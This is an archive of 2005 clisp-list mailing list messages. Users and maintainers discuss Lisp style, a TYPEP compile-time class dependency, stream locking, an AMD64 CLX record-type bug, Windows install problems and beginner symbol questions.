other way.

$ (macroexpand '(lambda () nil))                                        
          
#'(LAMBDA NIL NIL)
T

Why use macro where you don't have to?

Personally I think #'(lambda ) is prettier.




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Date: Mon Sep  5 00:43:24 2005
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I wrote:

> besides, the error is rather random. The current set of fas files
> loads fine. 

The fas file that errors on me contains the line:

 #.(|CLOS|::|FIND-CLASS| '|COMMON-LISP-USER|::|BAR|)

When it does not, it loads fine.

My guess is that if clisp knows that BAR is a class at compile
time, it uses FIND-CLASS in the fas file. 

So a solution is that I do not recompile source files repeatedly
just for fun and always start with a fresh clisp image when
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Date: Mon Sep  5 06:55:05 2005
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Takehiko Abe writes:
> [off-topic]
> 
> Pascal Bourguignon wrote:
> 
> > #'(lambda ...) is a pleonasm.  Always write just: (lambda ...)
> 
> Isn't it purely a style issue? If so, I think I can argue the
> other way.
> 
> $ (macroexpand '(lambda () nil))                                        
>           
> #'(LAMBDA NIL NIL)
> T
> 
> Why use macro where you don't have to?

Perhaps because some smarts may be implemented into the macros.  If you
prevent the macro expansion, perhaps you won't reap the benefits.


> Personally I think #'(lambda ) is prettier.

Note that #'... is defined to expand to (common-lisp:function ...)
and common-lisp:function is defined only with common-lisp:lambda, not
with any random lambda symbol.

So if you write #'(lambda ...) it would be safer to write it as:
#'(common-lisp:lambda ...).  Then, when lambda is shadowed and
reimplemented as a smarter macro, your #'(cl:lambda ...) will still
work, and my (lambda ...) too, but mine will be smarter ;-)
 

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Date: Mon Sep  5 07:24:06 2005
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Takehiko Abe writes:
> I wrote:
> 
> > besides, the error is rather random. The current set of fas files
> > loads fine. 
> 
> The fas file that errors on me contains the line:
> 
>  #.(|CLOS|::|FIND-CLASS| '|COMMON-LISP-USER|::|BAR|)
> 
> When it does not, it loads fine.
> 
> My guess is that if clisp knows that BAR is a class at compile
> time, it uses FIND-CLASS in the fas file. 
> 
> So a solution is that I do not recompile source files repeatedly
> just for fun and always start with a fresh clisp image when
> recompilation is necessary.

Actually, a fresh clisp image is not strictly necessary.

What happens, is that when you start with a fresh image when compiling
or when loading compiled files, you'll see more errors if you're not
careful to load the needed dependencies.

If you don't start with a fresh image, when you recompile or reload,
the dependencies are all in the image, so less problem occur.

If you want to recompile and reload a minimum of files (in a complex
project), you should use asdf that will sort the treillis of
dependencies (that you must explicitely state in the asdf system
definition file, at least the direct dependencies).

If your project is small enough that you don't mindr recompiling or
reloading it whole, you just write a loader file as I hinted
previously.


Here is what I put in my loader.lisp:


(defvar *compile* nil "Whether loaded files must be compiled too.")
(defun process (file) (if *compile* (compile-file file) file))

(defun load-app-file (name)
  (load (process (make-pathname
                  :directory *source-directory* ; '(:relative) for example
                  :name name
                  :type "LISP"
                  :version :newest))))

(defun lapp ()
  (dolist (name '("FILE-B"  ; file-b doesn't depend on file-c or file-a
                  "FILE-A"  ; file-a doesn't depend on file-c
                  "FILE-C"))
    (load-app-file name)))

(DEFUN SAVE-IMAGE ()
  (ext:saveinitmem
   "MyApplication.mem.gz"
   :quiet t
   :verbose nil
   :init-function (function MY-APP:MAIN)
   :start-package (find-package "MY-APP")))

(lapp)


When I need to reload compiled files:  (setf *compile* t)   (lapp)
When I need to reload the sources:     (setf *compile* nil) (lapp)
When I need to save the executable:    (setf *compile* t)   (lapp) (save-image)

otherwise I rarely compile my clisp programs while developing...


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Date: Mon Sep  5 08:38:29 2005
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Pascal Bourguignon wrote:

> > The fas file that errors on me contains the line:
> > 
> >  #.(|CLOS|::|FIND-CLASS| '|COMMON-LISP-USER|::|BAR|)
> > 
> > When it does not, it loads fine.
> > 
> > My guess is that if clisp knows that BAR is a class at compile
> > time, it uses FIND-CLASS in the fas file. 
> > 
> > So a solution is that I do not recompile source files repeatedly
> > just for fun and always start with a fresh clisp image when
> > recompilation is necessary.
> 
> Actually, a fresh clisp image is not strictly necessary.
> 
> What happens, is that when you start with a fresh image when compiling
> or when loading compiled files, you'll see more errors if you're not
> careful to load the needed dependencies.

No that's not what happened. The reverse was the case.

> 
> If you don't start with a fresh image, when you recompile or reload,
> the dependencies are all in the image, so less problem occur.

You completely missed the point. The error is signaled not because
the BAR class is not present but rather because it _is_ present
at the compile time. So, in this particular case, a fresh image
happens to produce one less error.

I claim that this dependency should not be necessary. This is
not like defmacro or defmethod --- it is about compiling TYPEP. 
This kind of dependency is not desirable, and I want to call it
a bug.

> 
> If you want to recompile and reload a minimum of files (in a complex
> project), you should use asdf 

I use defsystem and it is not a secret. I said I'm using
mk defsystem 3.5i in the first post.




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> * Takehiko Abe <xrxr@tby.pbz> [2005-09-06 00:18:10 +0900]:
>
> This is not like defmacro or defmethod --- it is about compiling
> TYPEP.

Finally, some relevant information.
Indeed, CLISP compiles TYPEP inline (see clisp/src/compiler.lisp:c-TYPEP)
when the type argument is available at compile time.

If your program does not support that, it is not "conforming", see
<http://www.lisp.org/HyperSpec/Body/sec_3-2-2-3.html>:
         Classes defined by defclass in the compilation environment must
         be defined at run time to have the same superclasses and same
         metaclass.



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Sam Steingold wrote:

> > * Takehiko Abe <xrxr@tby.pbz> [2005-09-06 00:18:10 +0900]:
> >
> > This is not like defmacro or defmethod --- it is about compiling
> > TYPEP.
> 
> Finally, some relevant information.
> Indeed, CLISP compiles TYPEP inline (see clisp/src/compiler.lisp:c-TYPEP)
> when the type argument is available at compile time.

Ok. That clisp compiles TYPEP inline is fine if it does not
error at load time. Why does clisp have to call FIND-CLASS
at load time? 

In my program, the class is available at run time. If clisp
compiler requires that a class name referred to by TYPEP is
present at compile time, I would not be very happy but it
would have been clear what was going on. But, clisp does not
require it. Instead, it quietly produces different fas files
and and the one with the inlined TYPEP signals error at load
time.


> 
> If your program does not support that, it is not "conforming", see

I do not agree. 

> <http://www.lisp.org/HyperSpec/Body/sec_3-2-2-3.html>:
>          Classes defined by defclass in the compilation environment must
>          be defined at run time to have the same superclasses and same
>          metaclass.

In my program, the class defined in compile time is also available in
run time. So I believe it is conforming.

[btw, the test code I posted works fine with MCL/OpenMCL and sbcl.]


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> * Takehiko Abe <xrxr@tby.pbz> [2005-09-06 10:38:21 +0900]:
>
>> If your program does not support that, it is not "conforming", see
>
> I do not agree. 
>
>> <http://www.lisp.org/HyperSpec/Body/sec_3-2-2-3.html>:
>>          Classes defined by defclass in the compilation environment must
>>          be defined at run time to have the same superclasses and same
>>          metaclass.
>
> In my program, the class defined in compile time is also available in
> run time. So I believe it is conforming.

the error indicates that this is not the case.

Let me clarify:
the environment in which you compiled the code (calling TYPEP) must be
"isomorphic" to the environment in which you load the compiled code.
the "isomorphism" is described in the aforementioned page.
specifically, whatever classes are defined during the compilation must
be "similarly" (same superclasses & metaclass) defined at loading.
the reason that you are getting the error is that your class is defined
at compile time but not at load time.
thus your "program" (defined in this context as the process in which you
compile and load your files) is not "conforming".

this is a very simple matter: just clean up the dependencies in your
defsystem.

> [btw, the test code I posted works fine with MCL/OpenMCL and sbcl.]

this just means that MCL/OpenMCL and sbcl can run certain non-conforming
programs.  so?  there are lots of non-conforming programs that clisp can
run and other lisps cannot.  this does not make those programs conforming.


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Sam Steingold wrote:

> >> <http://www.lisp.org/HyperSpec/Body/sec_3-2-2-3.html>:
> >>          Classes defined by defclass in the compilation environment must
> >>          be defined at run time to have the same superclasses and same
> >>          metaclass.
> >
> > In my program, the class defined in compile time is also available in
> > run time. So I believe it is conforming.
> 
> the error indicates that this is not the case.
> 
> Let me clarify:
> the environment in which you compiled the code (calling TYPEP) must be
> "isomorphic" to the environment in which you load the compiled code.

The hyperspec page says: "... must be defined at run time."
Not "load time". And yes the environment in which I run my code
is 'isomorphic' to the compile time environment.


> the "isomorphism" is described in the aforementioned page.
> specifically, whatever classes are defined during the compilation must
> be "similarly" (same superclasses & metaclass) defined at loading.

Again, it does not say "at loading". It says "run time".

Loading is about constructing a run time environment. If I already
have that environment, I don't have to load any file.

> the reason that you are getting the error is that your class is defined
> at compile time but not at load time.
> thus your "program" (defined in this context as the process in which you
> compile and load your files) is not "conforming".
> 
> this is a very simple matter: just clean up the dependencies in your
> defsystem.

The typep form referred to XXX is in file A, and XXX is defined as a
class name in file B. But in the real code the file B depends on file A.
So it is not defsystem issue though I think I can reorganize my code.

And the dependency in this case is peculiar in that clisp produces
more robust code when the offending class is _not_ present. That
puzzled me.
 
> > [btw, the test code I posted works fine with MCL/OpenMCL and sbcl.]
> 
> this just means that MCL/OpenMCL and sbcl can run certain non-conforming
> programs. so? there are lots of non-conforming programs that clisp can
> run and other lisps cannot.  this does not make those programs conforming.

I know. But I believe my program is conforming.




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Date: Tue Sep  6 08:32:33 2005
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> * Takehiko Abe <xrxr@tby.pbz> [2005-09-06 15:04:05 +0900]:
>
> Sam Steingold wrote:
>
>> >> <http://www.lisp.org/HyperSpec/Body/sec_3-2-2-3.html>:
>> >>          Classes defined by defclass in the compilation environment must
>> >>          be defined at run time to have the same superclasses and same
>> >>          metaclass.
>> >
>> > In my program, the class defined in compile time is also available in
>> > run time. So I believe it is conforming.
>> 
>> the error indicates that this is not the case.
>> 
>> Let me clarify:
>> the environment in which you compiled the code (calling TYPEP) must be
>> "isomorphic" to the environment in which you load the compiled code.
>
> The hyperspec page says: "... must be defined at run time."
> Not "load time". And yes the environment in which I run my code
> is 'isomorphic' to the compile time environment.

I believe that in this context load time is included in run time.
<http://www.lisp.org/HyperSpec/Body/sec_24-1-1.html>:
To load a file is to treat its contents as code and execute that code.

>> the reason that you are getting the error is that your class is defined
>> at compile time but not at load time.
>> thus your "program" (defined in this context as the process in which you
>> compile and load your files) is not "conforming".
>> 
>> this is a very simple matter: just clean up the dependencies in your
>> defsystem.
>
> The typep form referred to XXX is in file A, and XXX is defined as a
> class name in file B. But in the real code the file B depends on file A.
> So it is not defsystem issue though I think I can reorganize my code.

Please do. Such circular dependencies will bite you sooner or later.


> And the dependency in this case is peculiar in that clisp produces
> more robust code when the offending class is _not_ present. That
> puzzled me.

more "robust" here means "less optimized".


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Subject: [clisp-list] Re: posix:stream-lock
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Date: Tue Sep  6 09:11:25 2005
X-Original-Date: Tue, 06 Sep 2005 12:09:24 -0400

> * Takehiko Abe <xrxr@tby.pbz> [2005-09-01 20:30:23 +0900]:
>
> I cannot figure out how to use posix:stream-lock .
>
>> (defparameter *lock* (open "lock" :direction :output))
> *LOCK*
>> *lock*
> #<OUTPUT BUFFERED FILE-STREAM CHARACTER #P"lock">
>> (posix:stream-lock *lock* t :shared nil :block nil)
> T
>> (posix:stream-lock *lock* t :shared nil :block nil)
> T
>> (close *lock*)
>
> I expected the second call to stream-lock singals error but it did
> not. What am I missing?

I fixed stream-lock over the last few days.
please get the CVS head sources and build CLISP from them.

here is what I see now (I use 2 processes):

[1]> (setq s (open "foo" :direction :output))
#<OUTPUT BUFFERED FILE-STREAM CHARACTER #P"foo">
[2]> (stream-lock s t)
T
[3]> (stream-lock s nil)
NIL
[4]> (stream-lock s t)  ; hangs until the 2nd process releases the lock
T
[5]> (stream-lock s nil)
NIL
[6]> (close s)
T
[7]> (delete-file s)
#P"/.../foo"
[8]>
Bye.

[1]> (setq s (open "foo" :direction :output))
#<OUTPUT BUFFERED FILE-STREAM CHARACTER #P"foo">
[4]> (stream-lock s t)  ; hangs until the 1st process releases the lock
T
[5]> (stream-lock s nil)
NIL
[6]> (stream-lock s t :block nil) ; returns NIL immediately
NIL
[7]> (stream-lock s t :block nil) ; returns T immeditely
T
[8]> (close s)
T
[9]>
Bye.

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Date: Tue Sep  6 09:19:36 2005
X-Original-Date: Tue, 6 Sep 2005 18:18:15 +0200

Hi,

it seems that on AMD64 the record type is lost for
the display object.  I've added a fprintf's to

    make_display() in modules/clx/new-clx/clx.f
    allocate_fpointer() in x86_64-suse-linux/spvw_typealloc.c

and got the result that the macro Record_type()
report 18 within allocate_fpointer() for the
return result and 0 from make_display() ...
later one leads to the error that the display
is closed by the check ensure_living_display().

The build has used TYPECODES.


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Date: Tue Sep  6 09:59:47 2005
X-Original-Date: Tue, 06 Sep 2005 12:57:44 -0400

> * Dr. Werner Fink <jreare@fhfr.qr> [2005-09-06 18:18:15 +0200]:
>
> Hi,
>
> it seems that on AMD64 the record type is lost for
> the display object.  I've added a fprintf's to
>
>     make_display() in modules/clx/new-clx/clx.f
>     allocate_fpointer() in x86_64-suse-linux/spvw_typealloc.c
>
> and got the result that the macro Record_type()
> report 18 within allocate_fpointer() for the
> return result and 0 from make_display() ...
> later one leads to the error that the display
> is closed by the check ensure_living_display().
>
> The build has used TYPECODES.

it appears that this is the same bug as
<http://sourceforge.net/tracker/index.php?func=detail&aid=1246342&group_id=1355&atid=101355>

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Date: Tue Sep  6 18:30:15 2005
X-Original-Date: Tue, 06 Sep 2005 18:27:58 -0600

Hello,

Sam Steingold <sds@gnu.org> writes:

>> * ya007 <ln007@lnaqrk.eh> [2005-09-02 20:12:00 +0400]:
>>
>> I have downloaded clisp-2.35-win32.zip. After I unzip it and run
>> install.bat Windows says that "lisp.exe - Unable To Locate Component",
>> "This application was failed to start because libpq.dll was not
>> found. Re-installing the application may fix this problem"
>
> install PostGreSQL 8 (clisp comes with an interface to PostGreSQL) or
> use the base linking set (remove "-K full") from the argument list of
> "clisp".

I tried removing "-K full" from the install.bat, but the install.bat file
still gives an error, and doesn't do anything.

"***USE_PACKAGE: - There is no package with name LDAP".

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Date: Wed Sep  7 05:25:17 2005
X-Original-Date: Wed, 7 Sep 2005 14:24:32 +0200

On Tue, Sep 06, 2005 at 12:57:44PM -0400, Sam Steingold wrote:
> > * Dr. Werner Fink <jreare@fhfr.qr> [2005-09-06 18:18:15 +0200]:
> >
> > Hi,
> >
> > it seems that on AMD64 the record type is lost for
> > the display object.  I've added a fprintf's to
> >
> >     make_display() in modules/clx/new-clx/clx.f
> >     allocate_fpointer() in x86_64-suse-linux/spvw_typealloc.c
> >
> > and got the result that the macro Record_type()
> > report 18 within allocate_fpointer() for the
> > return result and 0 from make_display() ...
> > later one leads to the error that the display
> > is closed by the check ensure_living_display().
> >
> > The build has used TYPECODES.
> 
> it appears that this is the same bug as
> <http://sourceforge.net/tracker/index.php?func=detail&aid=1246342&group_id=1355&atid=101355>

Hmmm ... I do not think that the gcc4 is misscompiling
ensure_living_display() but that the cpp macro Record_type()
used in spvw_typealloc.d and clx.f is not identical.

Just tried the -E -P option of gcc and found this:

spvw.c:

((((Record)(((0==0) && ((((oint)(tint)(( (1L<<(3)) |(1L<<(0)))|\
((1L<<(3))|(1L<<(1)))|((1L<<(3))|(1L<<(1))|(1L<<(0)))|((1L<<(3))|\
(1L<<(2)))|((1L<<(3))|(1L<<(2))|(1L<<(0)))|((1L<<(3))|\
(1L<<(2))|(1L<<(1)))) << 48) & ~0UL) == 0) ? \ 
(void*)(aint)(oint)(result) : \ 
(void*)(aint)((void*)((aint)((oint)(result)) & \ 
((aint)0x0000FFFFFFFFFFFFUL | ~~0UL)))))))->rectype)

clx.c:

((((Record)(((void*)(aint)((void*)((aint)(((fptr).one_o)) & \
0xFFFFFFFFFFFFUL))))))->rectype))

... this is the reason why the fprintf in allocate_fpointer()
prints out the value 18 whereas the fprintf in ensure_living_display()
gets back the value 0.

IMHO something goes wrong within the headers.

        Werner

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> * Surendra Singhi <rshmmlbar@argfpncr.arg> [2005-09-06 18:27:58 -0600]:
>
> Sam Steingold <sds@gnu.org> writes:
>
>>> * ya007 <ln007@lnaqrk.eh> [2005-09-02 20:12:00 +0400]:
>>>
>>> I have downloaded clisp-2.35-win32.zip. After I unzip it and run
>>> install.bat Windows says that "lisp.exe - Unable To Locate Component",
>>> "This application was failed to start because libpq.dll was not
>>> found. Re-installing the application may fix this problem"
>>
>> install PostGreSQL 8 (clisp comes with an interface to PostGreSQL) or
>> use the base linking set (remove "-K full") from the argument list of
>> "clisp".
>
> I tried removing "-K full" from the install.bat, but the install.bat file
> still gives an error, and doesn't do anything.
>
> "***USE_PACKAGE: - There is no package with name LDAP".

Download clisp-2.35-win32-no-pg.zip.

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On Wed, Sep 07, 2005 at 02:24:32PM +0200, Dr. Werner Fink wrote:
> On Tue, Sep 06, 2005 at 12:57:44PM -0400, Sam Steingold wrote:
> > > * Dr. Werner Fink <jreare@fhfr.qr> [2005-09-06 18:18:15 +0200]:
> > >
> > > Hi,
> > >
> > > it seems that on AMD64 the record type is lost for
> > > the display object.  I've added a fprintf's to
> > >
> > >     make_display() in modules/clx/new-clx/clx.f
> > >     allocate_fpointer() in x86_64-suse-linux/spvw_typealloc.c
> > >
> > > and got the result that the macro Record_type()
> > > report 18 within allocate_fpointer() for the
> > > return result and 0 from make_display() ...
> > > later one leads to the error that the display
> > > is closed by the check ensure_living_display().
> > >
> > > The build has used TYPECODES.
> > 
> > it appears that this is the same bug as
> > <http://sourceforge.net/tracker/index.php?func=detail&aid=1246342&group_id=1355&atid=101355>
> 
> Hmmm ... I do not think that the gcc4 is misscompiling
> ensure_living_display() but that the cpp macro Record_type()
> used in spvw_typealloc.d and clx.f is not identical.
> 
> Just tried the -E -P option of gcc and found this:
> 
> spvw.c:
> 
> ((((Record)(((0==0) && ((((oint)(tint)(( (1L<<(3)) |(1L<<(0)))|\
> ((1L<<(3))|(1L<<(1)))|((1L<<(3))|(1L<<(1))|(1L<<(0)))|((1L<<(3))|\
> (1L<<(2)))|((1L<<(3))|(1L<<(2))|(1L<<(0)))|((1L<<(3))|\
> (1L<<(2))|(1L<<(1)))) << 48) & ~0UL) == 0) ? \ 
> (void*)(aint)(oint)(result) : \ 
> (void*)(aint)((void*)((aint)((oint)(result)) & \ 
> ((aint)0x0000FFFFFFFFFFFFUL | ~~0UL)))))))->rectype)
> 
> clx.c:
> 
> ((((Record)(((void*)(aint)((void*)((aint)(((fptr).one_o)) & \
> 0xFFFFFFFFFFFFUL))))))->rectype))
> 
> ... this is the reason why the fprintf in allocate_fpointer()
> prints out the value 18 whereas the fprintf in ensure_living_display()
> gets back the value 0.

The results of the fprintf's:

  g31:demos # clisp -K full -q -i sokoban
  allocate_fpointer in spvw_typealloc.d at line=459 Record_type=18
  ;; Loading file /usr/share/doc/packages/clisp/clx/demos/sokoban.lisp ...

   Call (sokoban:sokoban)

  ;; Loaded file /usr/share/doc/packages/clisp/clx/demos/sokoban.lisp
  [1]> (sokoban:sokoban)
  allocate_fpointer in spvw_typealloc.d at line=459 Record_type=18
  make_display in clx.f at line=632 Record_type=0
  ensure_living_display in clx.f at line=676 Record_type=0

  *** - XLIB:DISPLAY-ROOTS: used closed displayensure_living_display in clx.f at line=676 Record_type=0
   #<XLIB:DISPLAY XLIB:CLOSED-DISPLAY #x000333CFAE90>
  The following restarts are available:
  ABORT          :R1      ABORT
  Break 1 [2]> 

... if gcc4 is misscompling than also make_display is affected.

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Sam Steingold wrote:

> > The hyperspec page says: "... must be defined at run time."
> > Not "load time". And yes the environment in which I run my code
> > is 'isomorphic' to the compile time environment.
> 
> I believe that in this context load time is included in run time.
> <http://www.lisp.org/HyperSpec/Body/sec_24-1-1.html>:
> To load a file is to treat its contents as code and execute that code.

OK. I concede.

I guess I could go on insisting otherwise. But then I'd have to
extend the same logic to defmethod, etc. and that doesn't sound
right.


> > The typep form referred to XXX is in file A, and XXX is defined as a
> > class name in file B. But in the real code the file B depends on file A.
> > So it is not defsystem issue though I think I can reorganize my code.
> 
> Please do. Such circular dependencies will bite you sooner or later.

I will. I did not like it when I added the typep form. but I assumed
it was on a par with forward referencing a ordinary function.





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On Wed, Sep 07, 2005 at 03:08:32PM +0200, Dr. Werner Fink wrote:
> 

I've add

  global int _Record_type(FOREIGN check) {
     return Record_type(check);
  }

before defining allocate_fpointer() in src/spvw_typealloc.d
and the few lines

  #undef Record_type
  #define Record_type(a)  _Record_type(a)
  extern int _Record_type(object);

after including the headers and the FOREIGN check in
modules/clx/new-clx/clx.f ... now it works and sokoban is up
and running.


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> * Takehiko Abe <xrxr@tby.pbz> [2005-09-07 23:11:51 +0900]:
>
> Sam Steingold wrote:
>
>> > The hyperspec page says: "... must be defined at run time."
>> > Not "load time". And yes the environment in which I run my code
>> > is 'isomorphic' to the compile time environment.
>> 
>> I believe that in this context load time is included in run time.
>> <http://www.lisp.org/HyperSpec/Body/sec_24-1-1.html>:
>> To load a file is to treat its contents as code and execute that code.
> OK. I concede.

Thanks!

>> > The typep form referred to XXX is in file A, and XXX is defined as a
>> > class name in file B. But in the real code the file B depends on file A.
>> > So it is not defsystem issue though I think I can reorganize my code.
>> 
>> Please do. Such circular dependencies will bite you sooner or later.
>
> I will. I did not like it when I added the typep form. but I assumed
> it was on a par with forward referencing a ordinary function.

functions and types are very different...

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Hi,

maybe this is the reason, why the X11 does not work without my
previous posted workaround.  After the comparision of the
definition of the type record_ and friends srecord_ and xrecord_
I've found that the order of

       rectype and recflags

is different from lispbibl.h to clisp.h.  E.g. in lispbibl.h
the type record_ is given with

  typedef struct {
    union { gcv_object_t _GCself; hfint flags[sizeof(gcv_object_t)/sizeof(hfint)]; } header;
      sintB rectype;
      uintB recflags;
      uintW recfiller;
    gcv_object_t recdata[0] ;
  } record_;

whereas in clisp.h

typedef struct { VAROBJECT_HEADER uintB recflags; sintB rectype; uintW recfiller; gcv_object_t recdata[unspecified]; } record_;

is used ... IMHO the order of rectype and recflags should be
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Sam Steingold wrote:

> I fixed stream-lock over the last few days.
> please get the CVS head sources and build CLISP from them.

Execuse my slow response. Sadly I couldn't build it.

I am not sure if I got the right source files, but at least
it looks like newer than 2.35 source I already have. (I need
to learn how to use cvs.)

Compiling with 'make' ends with

  clisp-test-clisp.out clisp-test-lispbibl.out differ: char 81, line 1
  make: *** [clisp.h] Error 1

It has passed 'make check-recompile'. but 'make check-tests' goes
into endless loop:

  Cannot map memory to address 0x2048e000 .
  [spvw_mmap.d:359] errno = ENOMEM: Not enough memory.
  Trying to make room through a GC...

And 'make install' failed with:

  /usr/bin/install: cannot stat `linkkit/*': No such file or directory
  /usr/bin/install: cannot stat `base/*': No such file or directory
  /usr/bin/install: cannot stat `full/*': No such file or directory
  make: *** [install-bin] Error 1

I'll try again later.
Thanks.




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> * Takehiko Abe <xrxr@tby.pbz> [2005-09-09 22:35:11 +0900]:
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> Sam Steingold wrote:
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>> I fixed stream-lock over the last few days.
>> please get the CVS head sources and build CLISP from them.
>
> Execuse my slow response. Sadly I couldn't build it.

well, CVS head is not in a stable state at this time.
look at src/Changelog and find out when the last stream-lock fix was
checked in, then get the cvs head for that date (cvs -D)


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Date: Mon Sep 12 12:49:25 2005
X-Original-Date: Mon, 12 Sep 2005 14:45:39 -0500 (CDT)

I'm new to lisp so please be gentle.
While trying to use the functions in modules/postgresql/sql.lisp I get 
this error.

[1]> (use-package "SQL")
T
[2]> (with-sql-connection (conn :host "host" :port "5432" :options nil 
:tty nil :name "mydb" :login "user" :password "password")
(sql-transaction conn "BEGIN" sql:PGRES_COMMAND_OK))

*** - WRITE-CHAR on #<CLOSED IO TERMINAL-STREAM> is illegal
The following restarts are available:
ABORT          :R1      ABORT

Can someone explain a bit?

I've done a bit of reading, "Common Lisp, A Gentle Introduction to 
Symbolic Computation", "Common LISPcraft", and "Practical Common Lisp".
Now I'm beginning to put it to use.

I read the file "sql.lisp" and understand most of it except
(when res (set-foreign-pointer res :copy)) in sql-connect and 
sql-transaction.

Can someone offer a bit more detail than what is in impnotes.html?

Thanks
Richard Ray


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> * Richard Ray <eenl@zfgp.fgngr.zf.hf> [2005-09-12 14:45:39 -0500]:
>
> I'm new to lisp so please be gentle.
> While trying to use the functions in modules/postgresql/sql.lisp I get
> this error.
>
> [1]> (use-package "SQL")
> T
> [2]> (with-sql-connection (conn :host "host" :port "5432" :options nil
> :tty nil :name "mydb" :login "user" :password "password")
> (sql-transaction conn "BEGIN" sql:PGRES_COMMAND_OK))
>
> *** - WRITE-CHAR on #<CLOSED IO TERMINAL-STREAM> is illegal
> The following restarts are available:
> ABORT          :R1      ABORT
>
> Can someone explain a bit?

stack trace would be nice.

> I read the file "sql.lisp" and understand most of it except (when res
> (set-foreign-pointer res :copy)) in sql-connect and sql-transaction.

<http://clisp.cons.org/impnotes/dffi.html#ex-dffi-validity>

> Can someone offer a bit more detail than what is in impnotes.html?

have you read the whole thing?!

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Date: Mon Sep 12 14:45:00 2005
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On Mon, 12 Sep 2005, Sam Steingold wrote:

>> * Richard Ray <eenl@zfgp.fgngr.zf.hf> [2005-09-12 14:45:39 -0500]:
>>
>> I'm new to lisp so please be gentle.
>> While trying to use the functions in modules/postgresql/sql.lisp I get
>> this error.
>>
>> [1]> (use-package "SQL")
>> T
>> [2]> (with-sql-connection (conn :host "host" :port "5432" :options nil
>> :tty nil :name "mydb" :login "user" :password "password")
>> (sql-transaction conn "BEGIN" sql:PGRES_COMMAND_OK))
>>
>> *** - WRITE-CHAR on #<CLOSED IO TERMINAL-STREAM> is illegal
>> The following restarts are available:
>> ABORT          :R1      ABORT
>>
>> Can someone explain a bit?
>
> stack trace would be nice.

[2]> (trace with-sql-connection)
;; Tracing macro WITH-SQL-CONNECTION.
(WITH-SQL-CONNECTION)
[4]> (with-sql-connection (conn :host "host" :port "5432" :options nil 
:tty nil :name "mydb" :login "user" :password "password")
(sql-transaction conn "BEGIN" sql:PGRES_COMMAND_OK))
1. Trace:
(WITH-SQL-CONNECTION
  (CONN :HOST "host" :PORT "5432" :OPTIONS NIL :TTY NIL :NAME "mydb" :LOGIN
   "user" :PASSWORD "password")
  (SQL-TRANSACTION CONN "BEGIN" |pgres_command_ok|))
1. Trace: WITH-SQL-CONNECTION ==>
(LET
  ((CONN
    (SQL-CONNECT :HOST "host" :PORT "5432" :OPTIONS NIL :TTY NIL :NAME 
"mydb"
     :LOGIN "user" :PASSWORD "password")))
  (UNWIND-PROTECT (PROGN (SQL-TRANSACTION CONN "BEGIN" |pgres_command_ok|))
   (PQ-FINISH CONN)))
*** - WRITE-CHAR on #<CLOSED IO TERMINAL-STREAM> is illegal
The following restarts are available:
ABORT          :R1      ABORT



>
>> I read the file "sql.lisp" and understand most of it except (when res
>> (set-foreign-pointer res :copy)) in sql-connect and sql-transaction.
>
> <http://clisp.cons.org/impnotes/dffi.html#ex-dffi-validity>
>
>> Can someone offer a bit more detail than what is in impnotes.html?
>
> have you read the whole thing?!

i'm getting there



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> * Richard Ray <eenl@zfgp.fgngr.zf.hf> [2005-09-12 16:41:20 -0500]:
>
> On Mon, 12 Sep 2005, Sam Steingold wrote:
>
>>> * Richard Ray <eenl@zfgp.fgngr.zf.hf> [2005-09-12 14:45:39 -0500]:
>>>
>>> I'm new to lisp so please be gentle.
>>> While trying to use the functions in modules/postgresql/sql.lisp I get
>>> this error.
>>>
>>> [1]> (use-package "SQL")
>>> T
>>> [2]> (with-sql-connection (conn :host "host" :port "5432" :options nil
>>> :tty nil :name "mydb" :login "user" :password "password")
>>> (sql-transaction conn "BEGIN" sql:PGRES_COMMAND_OK))
>>>
>>> *** - WRITE-CHAR on #<CLOSED IO TERMINAL-STREAM> is illegal
>>> The following restarts are available:
>>> ABORT          :R1      ABORT
>>>
>>> Can someone explain a bit?
>>
>> stack trace would be nice.
>
> [2]> (trace with-sql-connection)

stack trace /= TRACE

<http://clisp.cons.org/impnotes/debugger.html>
try ":bt" or - if that output is too small - ":bt1"


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slime-1.2.1 uses:

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to get the path of a file where symbol is defined.

This doesn't work anymore in clisp-2.35.  What facility is there in
this version to do the same? (I've not found anything browsing the
implemention nodes ToC).

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Pascal Bourguignon wrote:
> slime-1.2.1 uses:
> 
>    (getf (gethash symbol system::*documentation*) 'system::file)
> 
> to get the path of a file where symbol is defined.
> 
> This doesn't work anymore in clisp-2.35.  What facility is there in
> this version to do the same? (I've not found anything browsing the
> implemention nodes ToC).
> 

In slime from CVS head this is change to
	(documentation symbol 'sys::file)

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Hello all!

 I'm trying to write a program with clisp + ops5. First is a
general question: Have anybody seen an example or howto for ops5?
(I just read the OPS5 User's Manual July 1981, from Charles L.
Forgy and the demos with ops5 -> there are not many examples for
external functions in ops5).  Second question: I have a string,
let say
(setq str "heynow")
and need to give to a function just the heynow without " around
it. How can I do that? (the string is allways without special
symbols or spaces/tabs ..) Thank you very much for your answers
in advanced

Tomas



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pomarancde23@post.cz writes:

>  Second question: I have a string,
> let say
> (setq str "heynow")
> and need to give to a function just the heynow without " around
> it. How can I do that? 

The " is not inside the string:

    (princ "heynow") 

will print:

    heynow


If what you mean is that you want a symbol named "heynow", there are
some considerations to take care of:

- do you mean heynow or HEYNOW or HeyNow?
- what package do you want this symbol in?

If this is what you want, you could use: (intern "heynow" *package*)


> (the string is allways without special
> symbols or spaces/tabs ..) Thank you very much for your answers
> in advanced

This doesn't matter, all characters are valid in symbol names too:

(intern "With special characters such as :, *, \", and '.")
--> |With special characters such as :, *, ", and '.| ;

(princ (intern "With special characters such as :, *, \", and '."))
With special characters such as :, *, ", and '.
--> |With special characters such as :, *, ", and '.|



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Hello again!

 is there a way to turn |(a b c)| into (a b c), so I can process
it with a function that takes lists as arguments? Cheers

Tomas



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On Sep 13, 2005, at 8:35 AM, pomarancde23@post.cz wrote:

> Hello again!
>
>  is there a way to turn |(a b c)| into (a b c), so I can process
> it with a function that takes lists as arguments?

Looks like you painted yourself in a corner.  In Common Lisp |(a b c)| 
is a symbol, not easily convertible to a list.  My overall suggestion 
is that you have a look at Lisa http://lisa.sf.net, a modern 
implementation of a forward chaining shell which does implement the 
Rete algorithm.

Cheers

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Questions like this should go to a general lisp beginner's list,
not this list which is for CLISP specific questions.

   From: pomarancde23@post.cz
   Date: Tue, 13 Sep 2005 14:35:38 +0200 (CEST)

   Hello again!

    is there a way to turn |(a b c)| into (a b c), so I can process
   it with a function that takes lists as arguments? Cheers

You probably want the string "(a b c)"
not the symbol '|(a b c)|
as beginners are often confused about symbols.

(READ-FROM-STRING "(a b c)")

will parse your string into a list,
then you might use FUNCALL or APPLY
but after you learn the basic concepts
you will likely revise your overall design.

